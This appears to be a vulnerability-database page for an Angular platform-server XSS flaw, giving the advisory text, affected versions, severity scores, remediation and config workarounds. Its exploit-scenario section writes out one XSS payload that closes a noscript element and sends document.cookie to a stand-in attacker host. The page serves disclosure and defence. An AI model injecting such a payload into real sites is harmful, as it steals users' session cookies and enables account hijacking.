Skip to main content

Angular platform-server CVE-2026-69149

| EUVDEUVD-2026-52350 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-03 https://github.com/angular/angular GHSA-vpx6-8pjr-4g3v
8.6
CVSS 4.0 · Vendor: https://github.com/angular/angular
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker submits input with injected closing tag
  2. Delivery
    Application binds input into SSR <noscript>/<iframe> template element
  3. Exploit
    domino serializes unescaped closing tag into HTML output
  4. Execution
    Critical CSS inlining triggers domino re-parse without raw-text state
  5. Persist
    Injected closing tag breaks element boundary
  6. Impact
    Appended script block executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following conditions simultaneously: (1) the target application uses @angular/platform-server for Server-Side Rendering; (2) at least one Angular template binds user-controlled data inside an <iframe>, <noembed>, <noframes>, or <noscript> element using Angular interpolation or property binding; (3) critical CSS inlining is enabled (the Angular default, inlineCritical: true) or the raw SSR output is otherwise processed by domino without preserving raw-text parser state. What limits exploitation: applications that do not use Angular SSR at all are entirely unaffected; applications that never bind user input into these four specific element types are unaffected regardless of SSR configuration; disabling inlineCritical eliminates the triggering re-parse step; sanitizing or HTML-encoding user input before template binding blocks injection. Applications on Angular 19.x and earlier share the same exploitation conditions and have no vendor-released patch.

Impact

No CVSS score or vector is supplied in the source data, so risk is assessed entirely from the vulnerability description and exploitation conditions. The attack is network-accessible and requires no authentication at the framework level, but exploitation has a meaningful prerequisite: the Angular SSR application must bind user-controlled data inside <iframe>, <noembed>, <noframes>, or <noscript> elements via Angular template syntax, which is an atypical coding pattern that materially constrains the practical attack surface. EPSS data is absent from the input and cannot be cited. The vulnerability is not listed in CISA KEV, and no public proof-of-concept has been identified, consistent with the specialized exploitation conditions. Angular 19.x and earlier receive no backport patch, creating a persistent residual risk for organizations unable or unwilling to upgrade. Critical CSS inlining (Angular's default) acts as an amplifier: even if the initial SSR serialization were safe, domino's re-parse during post-processing can trigger the flaw independently, meaning defenders cannot assume the initial render path alone is the only attack surface. The overall risk is moderate - high impact if exploited (session hijacking, credential theft), but limited real-world exposure due to the non-default application coding pattern required.

Exploit ScenarioDerived

An attacker submits a profile field or comment containing a string such as '</noscript><script>document.location="https://attacker.example/?c="+document.cookie</script>' to a web application that reflects user input into a <noscript> Angular SSR template binding. During rendering, domino serializes the unescaped closing tag directly into the HTML stream; when critical CSS inlining re-parses the page, the injected </noscript> closes the element early and the appended script block executes in every victim browser that loads the page, exfiltrating session cookies to the attacker. No public proof-of-concept code has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 03, 2026

Cross-site scripting in @angular/platform-server's domino DOM emulation library allows attackers to inject executable script blocks into SSR-rendered HTML by supplying closing-tag sequences inside user-controlled data bound to <iframe>, <noembed>, <noframes>, or <noscript> Angular template elements. Angular 20.x through 22.x applications using Server-Side Rendering that reflect user input into these specific fallback raw-content elements are affected; Angular 19.x and earlier receive no backport patch. No public exploit has been identified at time of analysis, though the mechanism is straightforward once the vulnerable application pattern is present, and patches are available across three supported Angular branches.

RemediationAI

Upgrade @angular/platform-server to a patched release: 22.0.7 for Angular 22.x users, 21.2.19 for Angular 21.x users, or 20.3.27 for Angular 20.x users, as documented at https://github.com/angular/angular/security/advisories/GHSA-vpx6-8pjr-4g3v. Angular 19.x and earlier have no vendor-released patch; applications on those versions should migrate to a supported major branch. If immediate upgrade is not feasible, disable critical CSS inlining by setting inlineCritical: false under optimization.styles in angular.json, or passing inlineCriticalCss: false to CommonEngine.render() - this prevents domino from re-parsing the SSR output during post-processing, removing the triggering re-parse step (trade-off: slightly larger initial HTML payload due to non-inlined critical CSS). Alternatively, audit templates to ensure user-controlled values are never bound inside <iframe>, <noembed>, <noframes>, or <noscript> elements, or explicitly sanitize such values to strip or HTML-encode closing tag sequences before they reach the Angular template. Patch refs: https://github.com/angular/angular/pull/69675, https://github.com/angular/angular/pull/69714, https://github.com/angular/domino/pull/32.

Affected VersionsENISA

platform-server 21.0.0-next.0, < 21.2.19
angular < 20.3.27
platform-server < 20.3.27
angular 22.0.0-next.0, < 22.0.7
platform-server 22.0.0-next.0, < 22.0.7
angular 21.0.0-next.0, < 21.2.19

Affected Packages

npm @angular/platform-server fix: 20.3.27, 21.2.19, 22.0.7
euvd angular fix: 20.3.27
euvd angular_21_0_0_next_0 fix: 21.2.19
euvd angular_22_0_0_next_0 fix: 22.0.7
euvd platform_server fix: 20.3.27
euvd platform_server_21_0_0_next_0 fix: 21.2.19
euvd platform_server_22_0_0_next_0 fix: 22.0.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 7 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) resides in domino, the headless DOM emulation library bundled by @angular/platform-server for SSR. Affected packages per npm PURL are pkg:npm/@angular/platform-server across versions 20.0.0-next.0 through 22.0.6. In a real browser with scripting enabled, <iframe>, <noembed>, <noframes>, and <noscript> are treated as fallback raw-content elements whose child text is parsed verbatim, making embedded closing tags structurally inert. Domino mimics scripting-enabled behavior and likewise treats these as raw-text elements during rendering - but its serializer did not apply HTML-entity escaping to text nodes inside them when converting the DOM back to a string. During critical CSS inlining, Angular SSR's default post-processing step, domino re-parses the serialized HTML output without preserving raw-text parser state, so any attacker-injected closing tag sequence is reinterpreted as structural HTML, enabling early element termination and script injection. The fix in domino PR #32 and commit f88e5aa49cf2804d7c2df22ef1640eb4ec43dd56 introduces escapeFallbackRawText(), which HTML-encodes closing tag occurrences within these elements; Angular PRs #69675, #69714, #69929, and #69930 integrate the patched domino into Angular's build pipeline.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/angular/angular) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Network-exploitable XSS with no attacker privileges; victim must visit the page; scope changes to browser context; no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/angular/angular).

CVSS VectorVendor: https://github.com/angular/angular

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A Cross-Site Scripting (XSS) vulnerability exists in @angular/platform-server's DOM emulation dependency (domino) when serializing the content of fallback raw-content elements (<iframe>, <noembed>, <noframes>, and <noscript>).

When rendering dynamic text content inside fallback raw-content elements via template bindings, the template engine expects the browser to render the content safely. Under Server-Side Rendering (SSR), domino is configured with scripting enabled, meaning these elements are treated as raw-text elements.

However, domino's serializer previously did not escape text nodes within fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>) during DOM serialization. As a result, any occurrence of closing tags in the bound dynamic text was not escaped.

The unescaped closing tag could be serialized directly into the output HTML. When parsed by a browser or re-parsed during SSR post-processing without preserving raw-content parser state, an injected closing tag closes the element early, allowing an injected script block to execute in the user's browser context, causing same-origin Cross-Site Scripting (XSS).

Impact

This vulnerability allows an attacker to perform same-origin Cross-Site Scripting (XSS) attacks against any user visiting an SSR-rendered page that binds user-controlled data inside fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>). This can lead to session hijacking, credentials theft, unauthorized actions on behalf of users, and defacement.

Patched Versions

  • 22.0.7
  • 21.2.19
  • 20.3.27

Workarounds

If you cannot immediately update your dependencies, you can mitigate this issue using any of the following approaches:

  • Disable critical CSS inlining: Critical CSS inlining in Angular SSR post-processes the rendered HTML using domino. Disabling this step prevents domino from re-parsing and re-serializing the HTML during server-side rendering.
  • In angular.json, set inlineCritical to false under style optimization options:
json
    {
      "projects": {
        "my-app": {
          "architect": {
            "build": {
              "builder": "@angular/build:application",
              "options": {
                "optimization": {
                  "styles": {
                    "inlineCritical": false
                  }
                }
              }
            }
          }
        }
      }
    }
  • When rendering programmatically with CommonEngine, set inlineCriticalCss: false in your render options.
  • Avoid binding user-controlled values inside fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>).
  • Sanitize user input placed inside these elements to explicitly strip or escape closing tags before passing it to the template.

Executive ViewAI

Why It Matters

Angular applications using Server-Side Rendering (versions 20-22) can be exploited through user input injection, allowing attackers to execute scripts that compromise every end-user accessing the application, with no public exploit identified at time of analysis. Organizations using these affected versions face risks to customer session security, credential theft, and browser integrity if they render user-supplied content in certain template fallback elements.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Medium
popular enterprise frontend framework, SSR subset less universally deployed
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy